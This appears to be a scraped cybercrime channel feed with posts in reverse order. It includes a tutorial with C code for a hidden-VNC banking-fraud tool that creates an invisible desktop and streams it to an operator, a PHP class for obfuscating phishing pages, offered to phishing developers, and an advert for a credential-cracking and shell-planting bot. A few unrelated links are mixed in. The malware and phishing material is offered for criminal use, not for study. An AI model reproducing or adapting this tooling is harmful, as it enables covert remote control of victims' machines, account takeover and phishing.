☘️ { 𝔖𝔠𝔞𝔯𝔩𝔢𝔱𝔱𝔞'𝔰 𝔏𝔬𝔲𝔫𝔤𝔢 } ☘️

Sending the data Finally, we just broadcast the rectangle, along with the coordinates of the top-left corner. This will be rendered on the server. Again, implementation of this is not too important, just use of some Winsock functions.

Compression After this, we can compress the raw bitmap, into a compressed format of your choice. I used PNG for this, I will omit the code as it’s not very important, merely use of GDIPlus functions. You can see the implementation in the linked repository later.

Data transfer In order to decrease data transfer (and hence latency), we only want to transmit the bytes that have been changed. I will do a very simple method, to draw a rectangle that encompasses all the changed pixels, and only transmit that. While this is definitely not the best algorithm, it is simple, and highly effective for things like typing, where only a few pixels change at a time. First we get the bits of the hbitmap,

DWORD cb = GetBitmapBits(hbitmap, 10000000, bitmap);
int bpb = cb/(rect.right*rect.bottom);

Now find the rectangle,

int top = 0;
int topset = 0;
int left = rect.right;
int bot = 0;
int right = 0;

for(int i=0;i<cb;i+=bpb){
    if(memcmp(pastbm+i, bitmap+i, bpb)!=0){
        int y = i/(bpb*rect.right);
        if(!topset){
            top = y;
            topset = 1;
        }
        int x = (i/bpb)%rect.right;
        if(x<left) left = x;
        if(x>right) right = x;
        if(y>bot) bot = y;
    }
}
if(left==rect.right) left=0;
bot++;
right++;
if(bot>rect.bottom) bot = rect.bottom;
if(right>rect.right) right = rect.right;

So now, top, left, bot, and right, store the rectangle of changed pixels! Anything outside that rectangle, contains pixels that are identical to that of the previous frame, so we can omit that.

Rendering For this part, we simply walk the Z-order again, and send a call to PrintWindow. While I have heard that some applications do not handle WM_PRINT (the call sent by PrintWindow) correctly, leading to no rendering, I have tested all the basic software that a HVNC operator may use (including CMD, Powershell, Chrome, and others), and have not found any that pose this problem. So to reduce complexity, I omit this segment. So, we create a MemDC walk the Z-order, call PrintWindow and BitBlt on each window, from bottom to the top, until we have rendered all the windows!

HDC memdc = CreateCompatibleDC(hdc);
HBITMAP hbitmap = CreateCompatibleBitmap(hdc, rect.right, rect.bottom);
SelectObject(memdc, hbitmap);
while(curw != NULL){
    if(!IsWindowVisible(curw)) goto next;
    RECT wRect;
    GetWindowRect(curw, &wRect);
    HDC wdc = CreateCompatibleDC(hdc);
    HBITMAP wbitmap = CreateCompatibleBitmap(hdc, rect.right - rect.left, rect.bottom - rect.top);
    SelectObject(wdc, wbitmap);
    if (PrintWindow(curw, wdc, 0))
        BitBlt(memdc, wRect.left, wRect.top, wRect.right - wRect.left, wRect.bottom - wRect.top, wdc, 0, 0, SRCCOPY);
    SetWindowLongA(curw, GWL_EXSTYLE, GetWindowLongA(curw, GWL_EXSTYLE) ^ WS_EX_COMPOSITED);
    DeleteObject(wbitmap);
    DeleteDC(wdc);
next:
    curw = GetWindow(curw, GW_HWNDPREV);
}

We also unset WS_EX_COMPOSITED on every window after printing it, as double buffering takes up a lot of CPU, and we want it to be enabled as little as possible, to prevent high CPU usage that may seem suspicious to end users. Great! By this point, we have a full render of the hidden desktop window in hbitmap. Next step, is to transmit this data to the server.

Double buffering In order to have the windows be properly rendered later on, we need double buffering. We can do it like so:

SetWindowLongA(hwnd, GWL_EXSTYLE, GetWindowLongA(hwnd, GWL_EXSTYLE) | WS_EX_COMPOSITED);

We turn on the flag of WS_EX_COMPOSITED on the window, so that double buffering is enabled. Now, let’s combine this with our previous code,

HWND curw = GetWindow(GetTopWindow(NULL), GW_HWNDLAST);
while(curw != NULL){
    if(IsWindowVisible(curw))
        SetWindowLongA(curw, GWL_EXSTYLE, GetWindowLongA(curw, GWL_EXSTYLE) | WS_EX_COMPOSITED);
    curw = GetWindow(curw, GW_HWNDPREV);
}
Sleep(50);

We put a Sleep at the end, to give all the windows some time to process this change, before we start rendering them.

Reverse Z-order So, what is this Z-order? According to Microsoft Docs:

The z-order of a window indicates the window’s position in a stack of overlapping windows. This window stack is oriented along an imaginary axis, the z-axis, extending outward from the screen. The window at the top of the z-order overlaps all other windows. The window at the bottom of the z-order is overlapped by all other windows.

So, what we want to do, is get the bottommost window, the last of the Z-order, and keep going up one window, until we hit the topmost window!

HWND curw = GetWindow(GetTopWindow(NULL), GW_HWNDLAST);
while(curw != NULL){
    if(IsWindowVisible(curw))
        // do something
    curw = GetWindow(curw, GW_HWNDPREV);
}

We ignore all invisible windows to save CPU. Now that we know how to walk the Z-order, time to go on to rendering the windows!

Window Rendering This is the crux of HVNC design. The problem with HVNC, is that Windows does not automatically render all the windows present on the hidden desktop (that makes sense, as the user can’t see it anyways), but this is terrible for us, as we cannot just speedrun and use GetDC(NULL) with a BitBlt (this works for regular VNC) and expect things to work out. We need to manually render everything! So let us start our journey, with the reverse Z-order.

Creating the hidden desktop So before we even start doing anything with HVNC, we need the hidden desktop. We will use the rare CreateDesktopA WinAPI to create a desktop.

char* desktop_name = "haxxordesktop12345";
dsk = OpenDesktopA(desktop_name, 0, FALSE, GENERIC_ALL);
if(dsk==NULL)
    dsk = CreateDesktopA(desktop_name, NULL, NULL, 0, GENERIC_ALL, NULL);
SetThreadDesktop(dsk);

So first we try to OpenDesktopA, see if we have created the desktop before, if not, CreateDesktopA, then finally SetThreadDesktop. Quite self-explanatory. Note that the desktop made by CreateDesktopA is completely invisible, which is why this feature is incredibly attractive to malware developers.

🖥 Intro to HVNC 🖥 Hidden VNC is a creative solution to a solution to a problem which stemmed from banking fraud. Back years ago when fraud was uncommon, most banks only had basic IP or Geo-location checks to flag or block accounts if someone logged in from another computer. To combat this, banking trojans would run a SOCKS proxy server on the victims computer, allowing the fraudster to access the victims bank account with the same IP. As fraud became more prominent, banks started coming up with proprietary fraud detection systems which fingerprint the user’s systems using a variety of check (Browser, OS/Plugin versions, locale, timezone, etc). The blackbox nature of these systems would require a fraudster to pretty much replicate the victim’s system configuration in order to be sure the account wouldn’t get blocked, so a more convenient method of fraud had to be found, that method was of course VNC. Fraudsters could VNC into a victims computer and use it to log into their bank account, but obviously this wasn’t ideal. If the victim was using the computer, they’d see what the fraudster was doing, and if they weren’t, the computer would probably be turned off. What was needed was some kind of VNC software that allowed fraudsters to access the system discretely, at the same time as the victim was using it.

🌟 Awesome LLM Apps A curated collection of Awesome LLM apps built with RAG, AI Agents, Multi-agent Teams, MCP, Voice Agents, and more. This repository features LLM apps that use models from OpenAI, Anthropic, Google, and open-source models like DeepSeek, Qwen or Llama that you can run locally on your computer. 🔗 Link : https://github.com/Shubhamsaboo/awesome-llm-apps

The other projects could be sourced as well when i have time.

👩‍💻 PHP Page Obfuscator Methods For phishing page developers or for hiding sensitive data, you can use following class i found on a old phishing page to hide details about the classes, images and text content. The class:

<?php

class HtmlToolbox
{
    /**
     * Text-Obfuscation: Convert f.e. "paypal.js" to "p&#097;y&#112;pal.js"
     */
    public static function encodeText(string $text): string
    {
        $crypt = array_merge(
            array_combine(range('A', 'Z'), range(65, 90)),
            array_combine(range('a', 'z'), range(97, 122)),
            array_combine(range('0', '9'), range(48, 57)),
            ['@' => 64, '.' => 46, '-' => 45, '_' => 95, '&' => 38, ' ' => 32]
        );

        $encoded = '';
        for ($i = 0; $i < strlen($text); $i++) {
            $char = $text[$i];
            if (isset($crypt[$char])) {
                $rand = rand(1, 3);
                $encoded .= ($rand === 2) ? "&#{$crypt[$char]};" : $char;
            } else {
                $encoded .= $char;
            }
        }
        return $encoded;
    }

    /**
     * Image to Base64
     */
    public static function inlineImage(string $path): string
    {
        if (!file_exists($path)) {
            return '';
        }
        $mime = mime_content_type($path);
        $base64 = base64_encode(file_get_contents($path));
        return "data:{$mime};base64,{$base64}";
    }
    /**
     * Minifies HTML
     */
    public static function minifyHtml(string $html): string
    {
        $search = ['/\>[^\S ]+/s', '/[^\S ]+\</s', '/(\s)+/s'];
        $replace = ['>', '<', '\\1'];
        return preg_replace($search, $replace, $html);
    }
    /**
     * Add random markers + micro time to <div>-tags
     */
    public static function obfuscateHtml(string $html): string
    {
        $key = bin2hex(random_bytes(4)); // 8 length
        $html = self::minifyHtml($html);

        // commect <div> and obfuscate classes
        $html = preg_replace('/<div/', "<!-- {$key} --><div", $html);
        $html = preg_replace('/<\/div/', "<!-- {$key} --></div", $html);
        $html = preg_replace('/class="/', 'class="' . microtime(true) . ' ', $html);

        return $html;
    }
}

▶️Example Usage:

$html = file_get_contents("template.html");

// Text Encoding
echo HtmlToolbox::encodeText("paypal.js");

// Inline Image Embedding
echo '<img src="'.HtmlToolbox::inlineImage("logo.png").'">';

// Minify HTML
echo HtmlToolbox::obfuscateHtml($html);

The class has been modified to php 8.0+. 🔻 Share And Support Channel🔻 https://t.me/+ZFUM798YLi5mODUy

🐍 xCatze's Laravel BOT 3.5 [SOURCE] ▶️Auto Send Valid Smtp to your email ▶️Auto Crack IM USER/SES from AWS ▶️Auto Check Valid twillio (Balance, Send Status) ▶️Auto Check Valid Nexmo (Balance) ▶️Auto Reverse IP ▶️Auto Laravel shell ▶️Free Tutorial Grab IP & Request feature ❗️ The tools has not been fixed completely. There are common errors like : ❌ Shell in exploit-function (line 170) ❌ Bing-Dorker does not work well (line 421) 📃 List of all buyers : https://pastebin.com/raw/RjtCGk6p

pip install -r requirements.txt

python3 enc.py

⚙️ Settings into settings.ini, Phone number (Twilio test) into phone.ini, Email receiver into sendto.ini. 🔗 Download -

Massive 7.3 Tbps DDoS Attack Delivers 37.4 TB in 45 Seconds, Targeting Hosting Provider https://thehackernews.com/2025/06/massive-73-tbps-ddos-attack-delivers.html

That's the way.